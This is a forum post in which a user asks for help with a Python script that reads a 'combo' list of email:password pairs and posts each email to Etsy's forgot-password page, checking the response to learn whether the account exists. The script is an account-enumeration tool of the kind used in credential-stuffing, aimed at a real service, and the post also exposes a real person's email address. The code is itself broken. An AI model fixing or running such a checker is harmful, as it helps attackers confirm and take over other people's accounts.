Dec-29-2019, 09:57 AM
When I want to check the e-mail, it is on the site or not, and even though the e-mail is there, it tells me there is no!
Existing email is: abdlouafitahiri@hotmail.com
Where is the problem perhaps in request data or not recognizing the text in success_keyword !!
Existing email is: abdlouafitahiri@hotmail.com
Where is the problem perhaps in request data or not recognizing the text in success_keyword !!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import requests def faild(email,): print ( f "login is faild {email}" ) def passed(email,): print ( f "login is true {email}" ) def checker(data,): email = data[ 0 ] success_keyword = "Veuillez entrer une adresse électronique valide" api_sender = requests.session() http = api_sender.post( "https://www.etsy.com/forgot_password?email=" , data = { "email" :email, "submit" : "Submit" }).text content = http.content if success_keyword in content: passed(email) else : faild(email) combos_name = input ( "Please Enter combo name:" ) combos = open (combos_name, "r" ).readlines() arranqe = [lines.replace( "\n" , "") for lines in combos] for lines in arranqe: data = lines.split( ":" ) checker(data) |